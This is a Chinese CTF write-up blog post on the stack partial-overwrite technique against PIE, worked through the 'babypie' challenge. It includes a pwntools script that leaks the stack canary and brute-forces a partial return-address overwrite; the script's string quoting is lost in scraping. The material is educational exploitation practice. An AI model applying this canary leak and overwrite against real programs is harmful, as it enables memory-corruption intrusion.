码迷,mamicode.com
首页 > 其他好文 > 详细

栈上的 partial overwrite

时间:2019-11-24 17:39:49      阅读:64      评论:0      收藏:0      [点我收藏+]

标签:inf   timeout   函数地址   nbsp   rac   pre   回车   name   imp   

partial overwrite 部分覆盖

用到该方法的情况是:存在PIE并且获取某函数地址有一定难度

这时候因为PIE不会修改地址最后几位数如图

技术图片

 

可以发现每个函数之后末尾3位不同

所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)

这样就有一定的概率返回到我们想要的正确函数地址

安恒杯 2018 年 7 月月赛的 babypie

 

技术图片

 

有canary保护 

read读满不会追加/0 就可以顺带把标志位printf出来

正确拼凑padding之后追加‘\x3E\x0A‘

进行while 1 方式的尝试 无限回车即可

效果大概是这样的

技术图片

 

from pwn import *

while 1:
    io=process(./pie,timeout=1)
    io.recvuntil(Name:\n)
    io.sendline(A*0x28)
    io.recvuntil(A*0x28+\n)
    canary=u64(io.recvn(7).rjust(8,\x00))
    print canary:+hex(canary)
    io.recvuntil(:\n)
    payload=A*0x28+p64(canary)+A*8+\x3E\x0A
    io.send(payload)
    io.interactive()
    io.close()
# 55C4259F7A6A
# 55C4259F7A3E
# 55C4259F7960

 

栈上的 partial overwrite

标签:inf   timeout   函数地址   nbsp   rac   pre   回车   name   imp   

原文地址:https://www.cnblogs.com/lxy8584099/p/11923130.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!